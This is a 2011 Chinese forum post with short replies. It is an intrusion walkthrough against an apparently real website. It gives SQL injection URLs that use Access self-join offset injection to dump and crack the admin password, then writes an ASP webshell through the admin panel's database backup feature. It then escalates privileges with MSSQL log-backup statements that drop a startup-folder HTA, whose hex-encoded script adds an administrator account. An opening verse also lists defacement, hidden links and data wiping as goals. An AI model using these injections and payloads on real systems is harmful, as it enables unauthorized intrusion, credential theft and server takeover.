生活在常宁,爱上常宁论坛! 广告服务

 找回密码
 免费注册

手机号码,快捷登录

2259查看|8回复

巧妙利用表自联偏移注入ACC数据库拿SHELL提权

[] [复制链接]
发表于 2011-1-2 12:01:28 | 显示全部楼层 |阅读模式

进谷歌 找注入
没注入 就旁注
没旁注 用Oday
没Oday 猜目录
没目录 就嗅探
拿不下 去自杀
爆账户 找后台
传小马 放大马
拿权限 挂页面
放暗链 清数据




不需要知道字段名字也可以把用户跟密码爆出来。先测试看能不能union
http://xxx.net/ProductShow.asp?ID=95 order by 1(从1一直增加直到返回错误为止)当增加到29返回正常而30却返回错误,就证明当前表的字段为29个。
构造联合查询语句试下看能不能用
http://xxx.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from admin

看来联合查询可以用,嘿嘿,只要能联就不怕爆不出他的密码来。第二步我们还需要知道表admin的字段数,构造语句
http://xx.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,* from admin (返回错误)
http://xx.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,* from admin (返回错误)
http://xxx.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,* from admin(返回错误)
http://xxx.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,.....n-1,n,* from admin(替增n的值,知道返回正确)当n=15的时候返回正确了,说明admin表有29-15=14个字段,知道了表admin的字段了,那我们先 试着盲爆试试看,如果运气好的话可以直接爆出来。继续爆
http://xxx.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin

狂晕!!!这么多都没爆出一个来,看来今天手气是很不咋滴,连用户名字都没爆出来来。只爆出来了访问者的IP地址图三左下脚,要是我们知道管理员的用户字 段跟密码字段就好了,直接替换2,3,5,9,15 随便替换一个就可以爆出来,关键是现在猜不出管理员的字段。看来得仔细分析分析了。
老规矩先点跟烟清理思路。。。。。。。。。。。
如果我们知道admin的字段数多的话,我们可以使用偏移注入,但是目前我们只知道一个字段ID字段,偏也偏不出来了呀?再分析一下字段数,当前的字段为 29个,而我们的admin表有14个字段,而恰好我们也已知了一个ID字段,14*2+1=29 哈哈 恰好满足自联呀,自联就是根据on语句后面的条件把自己联合一下,字段数会增加一倍。。。。等等等等。。。。。。。。。。。貌似这样解释有点不对,为了不 误导新人,觉得还是有必要解释一下,
比如有一个表A结构如下
id name pass 字段
1    abc   123
2    efg   456
3     hij   789
自联
select * from (admin as a inner join admin as b on a.id=b.id)
(其中a.id=b.id就是自联条件),将返回以下结果
a.id a.name a.pass b.id b.name b.pass
1     abc    123    1    abc    123
2     efg    456    2    efg    456
3     hij    789    3    hij    789
我们看原来一个A表用有3个字段,通过自联后,我们发现他有了6个字段,也就是说字段加倍了。汗!!1!! 扯远了 回到主题。通过上面的分析,我们可以自联admin表,admin表是14个字段,自联后也就是2*14=28个字段,然后我们在随便加一个字段凑数就变 成了29个字段,打乱admin表中的字段的排列顺序,然后再联合查询,这样就大大增加了被爆出用户跟密码的概率来。即使爆不出来,我们也可以用 a.id,跟b.id字段进行偏移,有了思路,下一不就是按着思路依葫芦画瓢。构造自联语句爆爆
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)

嘿嘿 密码已经给爆出来了3bbffb13d93c6bbf,先去MD5,解密吧,得到密码bbs1234.接着爆用户名字,我们只要偏移一下空间联合查询的的顺序就行了。
那就偏吧。。。。。。。。。。。。。
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,* from (admin as a inner join admin as b on a.id=b.id)

竟然没偏出来了,出乎我的意料了!!!!! 我再偏。。。。。。。
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

嘿嘿这下它藏不住了吧,乖乖的爆了出来 love123456 ,用户名字跟密码都有了登陆后台,后台有数据库备份功能,但是不能自定义备份后缀名字。我们可以通过抓包,然后修改post内容自定义路径跟备份格式,备份出ASP格式的木马,

情况也就这么个情况,提权很困哪呀
Scripting.FileSystemObject √ 文件操作组件
wscript.shell × 命令行执行组件
ADOX.Catalog √ ACCESS建库组件
JRO.JetEngine √ ACCESS压缩组件
Scripting.Dictionary √ 数据流上传辅助组件
Adodb.connection √ 数据库连接组件
Adodb.Stream √ 数据流上传组件
SoftArtisans.FileUp × SA-FileUp 文件上传组件
LyfUpload.UploadFile × 刘云峰文件上传组件
Persits.Upload.1 √ ASPUpload 文件上传组件
JMail.SmtpMail √ JMail 邮件收发组件
CDONTS.NewMail × 虚拟SMTP发信组件
SmtpMail.SmtpMail.1 × SmtpMail发信组件
Microsoft.XMLHTTP √ 数据传输组件
PHP .net 服务器上虽然安装了,但是这个网站并不支持php跟.net。命令行也不能使用,开放端口 80 21 1433 3306,3389,FTP用的是server_u,但是管理员修改了密码,安装路劲也没权限浏览,也不能夸站浏览,出了能控制shell目录,其他目录 都不能控制,哎 看来此路不通了,是时候放弃了
正准备要放弃的时候突然发现一个新的情况,再网站目录下面找到一个数据库连接文件,里面有数据库信息,嘎嘎,善良的人们总是在绝望的时候会得到老天爷的帮助。
有了数据库事情就办多了,先用数据库连接再说。看看是什么权限,public权限就可以列目录了,要是有DB权限的话,嘿嘿,夸站绰绰有余啊,提权服务器 都是有可能的。用SQL 连接查询器连接数据库。果然是DB权限,DB权限的话可以试着备份到启动项试试 (经过我多次测试,备份日志文件被直接备份数据库成功率至少要高一半)
在查询分析器里面输入如下语句
DUMP TRANSACTION sq_love WITH NO_LOG--
alter database sq_love set RECOVERY FULL--
create table hwz (a image)--
backup log sq_love to disk = 'c:windowstemptemp.bak' with init--
insert into hwz (a) values
(0x3C736372697074206C616E67756167653D225642536372697074223E0D0A53657420206F3D4372656174654F626A6563742820225368656C6C2E55736572732220290D0A536574207A3D6F2E63
7265617465282268777A333130313422290D0A7A2E6368616E676550617373776F72642022313233343536222C22220D0A7A2E73657474696E6728224163636F756E745479706522293D330D0A776
96E646F772E636C6F73650D0A3C2F7363726970743E)--
backup log sq_love to disk = 'C:Documents and SettingsAdministrator「开始」菜单程序启动run.hta'--
drop table hwz
要一条一条的的放在查询分析器中执行。执行完毕以后就会在启动项里生产一个run.hta的html应用程序,可以直接运行的,运行以后会添加一个用户名 字为hwz31014密码为123456的管理员。DUMP TRANSACTION sq_love WITH NO_LOG-- 其中这一条是删除日志文件,经过多次测试发现,如果不清除日志,备份出来的hta文件很有可能运行不成功,使用最好先清除一下日志‘其他的就不多介绍了, 大家应该都很熟悉了

为了保险起见我们把这个文件下载到本地测试运行一下
C:Program FilesMySQLMySQL Server 5.1bin>net user
的用户帐户
-----------------------------------------------------------------------
Administrator            ASPNET                   Guest
HelpAssistant            hxz31014                 IUSR_98A8AEEC54F641D
IWAM_98A8AEEC54F641D     SUPPORT_388945a0
命令运行完毕,但发生一个或多个错误。
成功添加管理员用户,看来我们的备份是成功的,下一部就只等管理员重启服务器我们就可以得到系统权限了,即使得不系统权限我们也不怕,至少能夸服务器所有的网站,
拿份源代码应该问题不大了,既然已经是瓮中之鳖了那就先收工吧! 等明天管理员重启服务器,我再去收网

发表于 2011-2-9 14:01:46 | 显示全部楼层
好帖子,谢楼主
发表于 2011-3-14 06:55:19 | 显示全部楼层
这个贴不错!!!!!  
发表于 2011-3-23 06:57:42 | 显示全部楼层
有空一起交流一下  
头像被屏蔽
发表于 2011-4-10 06:57:32 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2011-4-23 06:35:11 | 显示全部楼层
谢谢楼主啊!支持常宁
头像被屏蔽
发表于 2011-5-5 06:55:17 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2011-5-15 06:36:55 | 显示全部楼层
好久没去关注了,今天再去看看,谢谢了!  
发表于 2011-5-21 06:50:37 | 显示全部楼层
真它??的?蚝  
您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

b6广告位招商
快速回复 返回顶部 返回列表